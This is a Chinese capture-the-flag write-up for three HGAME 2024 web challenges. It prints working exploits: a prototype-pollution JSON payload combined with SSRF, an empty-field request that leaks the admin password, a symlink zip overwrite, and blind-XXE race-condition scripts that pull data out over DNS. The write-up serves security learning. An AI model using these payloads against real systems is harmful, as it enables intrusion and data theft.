HGAME week3-web wp
三道web,搓出来两道,还是可以了哈哈哈哈哈~~~
直接长话短说。
WebVPN
js原型链污染。
首先审计源码,index看到个登录路由:
重点就是app.js:
const express = require("express"); const axios = require("axios"); const bodyParser = require("body-parser"); const path = require("path"); const fs = require("fs"); const { v4: uuidv4 } = require("uuid"); const session = require("express-session"); const app = express(); const port = 3000; const session_name = "my-webvpn-session-id-" + uuidv4().toString(); app.set("view engine", "pug"); app.set("trust proxy", false); app.use(express.static(path.join(__dirname, "public"))); app.use( session({ name: session_name, secret: uuidv4().toString(), secure: false, resave: false, saveUninitialized: true, }) ); app.use(bodyParser.json()); var userStorage = { username: { password: "password", info: { age: 18, }, strategy: { "baidu.com": true, "google.com": false, }, }, }; function update(dst, src) { for (key in src) { if (key.indexOf("__") != -1) { continue; } if (typeof src[key] == "object" && dst[key] !== undefined) { update(dst[key], src[key]); continue; } dst[key] = src[key]; } } app.use("/proxy", async (req, res) => { const { username } = req.session; if (!username) { res.sendStatus(403); } let url = (() => { try { return new URL(req.query.url); } catch { res.status(400); res.end("invalid url."); return undefined; } })(); if (!url) return; if (!userStorage[username].strategy[url.hostname]) { res.status(400); res.end("your url is not allowed."); } try { const headers = req.headers; headers.host = url.host; headers.cookie = headers.cookie.split(";").forEach((cookie) => { var filtered_cookie = ""; const [key, value] = cookie.split("=", 1); if (key.trim() !== session_name) { filtered_cookie += `${key}=${value};`; } return filtered_cookie; }); const remote_res = await (() => { if (req.method == "POST") { return axios.post(url, req.body, { headers: headers, }); } else if (req.method == "GET") { return axios.get(url, { headers: headers, }); } else { res.status(405); res.end("method not allowed."); return; } })(); res.status(remote_res.status); res.header(remote_res.headers); res.write(remote_res.data); } catch (e) { res.status(500); res.end("unreachable url."); } }); app.post("/user/login", (req, res) => { const { username, password } = req.body; if ( typeof username != "string" || typeof password != "string" || !username || !password ) { res.status(400); res.end("invalid username or password"); return; } if (!userStorage[username]) { res.status(403); res.end("invalid username or password"); return; } if (userStorage[username].password !== password) { res.status(403); res.end("invalid username or password"); return; } req.session.username = username; res.send("login success"); }); // under development app.post("/user/info", (req, res) => { if (!req.session.username) { res.sendStatus(403); } update(userStorage[req.session.username].info, req.body); res.sendStatus(200); }); app.get("/home", (req, res) => { if (!req.session.username) { res.sendStatus(403); return; } res.render("home", { username: req.session.username, strategy: ((list)=>{ var result = []; for (var key in list) { result.push({host: key, allow: list[key]}); } return result; })(userStorage[req.session.username].strategy), }); }); // demo service behind webvpn app.get("/flag", (req, res) => { if ( req.headers.host != "127.0.0.1:3000" || req.hostname != "127.0.0.1" || req.ip != "127.0.0.1" ) { res.sendStatus(400); return; } const data = fs.readFileSync("/flag"); res.send(data); }); app.listen(port, '0.0.0.0', () => { console.log(`app listen on ${port}`); });
网站登录了一下,就是个访问域名的东西。
而且proxy路由访问有域名检测:
app.use("/proxy", async (req, res) => { const { username } = req.session; if (!username) { res.sendStatus(403); } let url = (() => { try { return new URL(req.query.url); } catch { res.status(400); res.end("invalid url."); return undefined; } })(); if (!url) return; if (!userStorage[username].strategy[url.hostname]) { res.status(400); res.end("your url is not allowed."); } try { const headers = req.headers; headers.host = url.host; headers.cookie = headers.cookie.split(";").forEach((cookie) => { var filtered_cookie = ""; const [key, value] = cookie.split("=", 1); if (key.trim() !== session_name) { filtered_cookie += `${key}=${value};`; } return filtered_cookie; }); const remote_res = await (() => { if (req.method == "POST") { return axios.post(url, req.body, { headers: headers, }); } else if (req.method == "GET") { return axios.get(url, { headers: headers, }); } else { res.status(405); res.end("method not allowed."); return; } })(); res.status(remote_res.status); res.header(remote_res.headers); res.write(remote_res.data); } catch (e) { res.status(500); res.end("unreachable url."); } });
意思就是必须按照它上面的strategy来访问,不然就会访问失败。
逆向审计一下,从/flag看起,类似SSRF那种要127.0.0.1本地访问。
然后网上看,cookie没什么特别的,直到看到update函数:
太眼熟了,这不原型链污染老熟人merge换皮嘛,而且还过滤了双下划线__,这不就是过滤了__proto__的意思吗。
然后看到user/info这个路由:
这里调用了update方法,虽然是对info进行改变,但是我们可以通过constructor->prototype的方法调用它的Object,污染strategy属性。
思路一步到位,直接原型链污染打user/info路由,把127.0.0.1污染到strategy,然后proxy直接传参url=http://127.0.0.1/flag绕过strategy检测。
发包(注意改content-type):
发现多了127.0.0.1了:
加一个3000端口直接访问flag就出了:
/proxy?url=http://127.0.0.1:3000/flag
访问即得:
也可以直接伪造一个用户,重新登录,这样就可以直接127.0.0.1访问了,不用加端口号:
{ "constructor": { "prototype": { "Eddie": { "password": "114514", "strategy": { "127.0.0.1": true } } } } }
Zero Link
go绕过+软链接。
go分析来自官方wp。
老规矩,先审计源码:
各个api:
package routes import ( "fmt" "html/template" "net/http" "os" "os/signal" "path/filepath" "zero-link/internal/config" "zero-link/internal/controller/auth" "zero-link/internal/controller/file" "zero-link/internal/controller/ping" "zero-link/internal/controller/user" "zero-link/internal/middleware" "zero-link/internal/views" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" ) func Run() { r := gin.Default() html := template.Must(template.New("").ParseFS(views.FS, "*")) r.SetHTMLTemplate(html) secret := config.Secret.SessionSecret store := cookie.NewStore([]byte(secret)) r.Use(sessions.Sessions("session", store)) api := r.Group("/api") { api.GET("/ping", ping.Ping) api.POST("/user", user.GetUserInfo) api.POST("/login", auth.AdminLogin) apiAuth := api.Group("") apiAuth.Use(middleware.Auth()) { apiAuth.POST("/upload", file.UploadFile) apiAuth.GET("/unzip", file.UnzipPackage) apiAuth.GET("/secret", file.ReadSecretFile) } } frontend := r.Group("/") { frontend.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", nil) }) frontend.GET("/login", func(c *gin.Context) { c.HTML(http.StatusOK, "login.html", nil) }) frontendAuth := frontend.Group("") frontendAuth.Use(middleware.Auth()) { frontendAuth.GET("/manager", func(c *gin.Context) { c.HTML(http.StatusOK, "manager.html", nil) }) } } quit := make(chan os.Signal) signal.Notify(quit, os.Interrupt) go func() { <-quit err := os.Remove(filepath.Join(".", "sqlite.db")) if err != nil { fmt.Println("Failed to delete sqlite.db:", err) } else { fmt.Println("sqlite.db deleted") } os.Exit(0) }() r.Run(":8000") }
⾸先我们需要登录,登录就需要Admin⽤⼾的密码。在sqlite.go中,可以发现user表已经初始化,且 第⼀个⽤⼾就是Admin:
先找⾸⻚⽤于查询⽤⼾信息的/user 接⼝,从 internal/routes/routes.go => internal/controller/user/user.go => internal/database/sqlite.go ,最后找到 GetUserByUsernameOrToken 函数,我们 可以发现该函数接收username和token参数,先后进⾏查询,并返回查询结果。
以username的查找为例,如果我们传⼊的值为 agu ,那执⾏的SQL语句实际上就是:
SELECT * FROM 'user' WHERE `username` = 'agu' LIMIT 1
由于Go本⾝的“零值”设计,它⽆法区分结构体中某个字段是否被赋值过。
User结构体的username字段是string类型,初始化User对象时,username会获得⼀个默认的零值,这⾥就是空字符串,如果⽤⼾传⼊的username也是空字符串,赋值给User的username属性时,这个User对象的值其实并没有发⽣任何变化。
在GetUserByUsernameOrToken 中,这⾥是给Gorm的Where函数传递了⼀个User对象,如果这个对象的username属性值为空字符串,Gorm内部将⽆法分辨User的username属性是否被赋值过,这导致Gorm在⽣成SQL语句时不会为该属性⽣成条件语句,此时的SQL语句如下:
SELECT * FROM 'user' LIMIT 1
这个SQL语句会直接查询表中第⼀个⽤⼾,⽽很多⽤⼾数据库的第⼀个⽤⼾就是管理员,这题也是如此。
因此,我们调⽤/api/user 接⼝,设置请求主体中的username、password字段均为空,即可获得Admin⽤⼾的密码。
demo:
POST http://139.224.232.162:30209/api/user Content-Type: application/json { "username": "", "Token": "" }
跑出密码是
Zb77jbeoZkDdfQ12fzb0
直接进manager登录:
然后就是文件上传位置:
当然这里有点小坑,抓包也抓不上,按道理说传压缩包没问题,但是前端逻辑直接给我判定不是zip:
我换了个文件上传的靶场,直接抓包发现content-type对不上。
这是实际传的:
这是这道题要的:
后来搜到个东西:
气抖冷,windows怎么你了....
但是kali虚拟机能传,content-type是application/zip,软链接就不多说了,看到secret是个文件:
而且后端unzip的用了-o,也就是覆盖,直接把secret文件内容覆盖成/flag,然后访问/api/secret就行了:
直接虚拟机上软链接:
依次传link.zip,unzip解压缩,再传link2.zip,unzip再解压缩覆盖app/secret,访问/api/secret交了:
VidarBox
(java什么的最烦了.....)
package org.vidar.controller; import org.springframework.core.io.DefaultResourceLoader; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.xml.sax.InputSource; import org.xml.sax.SAXException; import org.xml.sax.XMLReader; import org.xml.sax.helpers.XMLReaderFactory; import java.io.*; @Controller public class BackdoorController { private String workdir = "file:///non_exists/"; private String suffix = ".xml"; @RequestMapping("/") public String index() { return "index.html"; } @GetMapping({"/backdoor"}) @ResponseBody public String hack(@RequestParam String fname) throws IOException, SAXException { DefaultResourceLoader resourceLoader = new DefaultResourceLoader(); byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray(); if (content != null && this.safeCheck(content)) { XMLReader reader = XMLReaderFactory.createXMLReader(); reader.parse(new InputSource(new ByteArrayInputStream(content))); return "success"; } else { return "error"; } } private boolean safeCheck(byte[] stream) throws IOException { String content = new String(stream); return !content.contains("DOCTYPE") && !content.contains("ENTITY") && !content.contains("doctype") && !content.contains("entity"); } }
应该是要打一个无回显XXE,check函数可用编码绕过。
详细可以参考一下gxn师傅(大佬tql...):HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)
file伪协议有类似ftp的功能:
官方给的也是vps开一个ftp,还搜到一个师傅的方法,没用ftp,用的是条件竞争外带(也好强www):
(ฅ>ω<*ฅ) 噫又好啦 ~hgame2024_week3 WP | 晨曦的个人小站 (chenxi9981.github.io)
但如果不用ftp的上传,就需要人工编写脚本上传。
如何把test.xml
放到服务器上呢?
这里就类似与php的临时文件包含了,强制上传文件会使得服务器短暂生成临时文件,只要我们够快,把临时文件包含进来,即可加载自定的xml
文件。
这里我就不用vps了,因为我vps还没搭web服务,直接本地搞个phpstudy然后内网穿透算了:
xml文件写好后iconv一下:
把test.dtd放服务器里:
upload.py(上传临时文件):
import requests import io import threading url='http://139.224.232.162:30125/' #引入url def write(): while True: response=requests.post(url,files={'file':('poc',open("F:\\Study\\CTF\\HGAME\\WEB\\week3\\new.xml",'rb'))}) #print(response.text) if __name__=='__main__': evnet=threading.Event() with requests.session() as session: for i in range(10): threading.Thread(target=write).start() evnet.set()
xxe.py(包含临时文件):
import requests import io import time import threading while True: for i in range(10, 35): try: #print(i) url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23' # 引入url # print(r.cookies) response = requests.get(url,timeout=0.5) print(i,response.text) if response.text == 'success' or response.text == 'error': print(i,response.text) time.sleep(10) except: pass #print("no")
同时跑这俩脚本,然后DNS外带出了:
(虽然一直报错,但是条件竞争只需要传上去一次就成功了)
泰酷辣!!!!!!
ftp来跑的也可以看官方wp:
from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer authorizer = DummyAuthorizer() authorizer.add_anonymous("/var/www/html", perm="r") handler = FTPHandler handler.authorizer = authorizer server = FTPServer(("0.0.0.0", 21), handler) server.serve_forever()
后面都大差不差的。
下播!!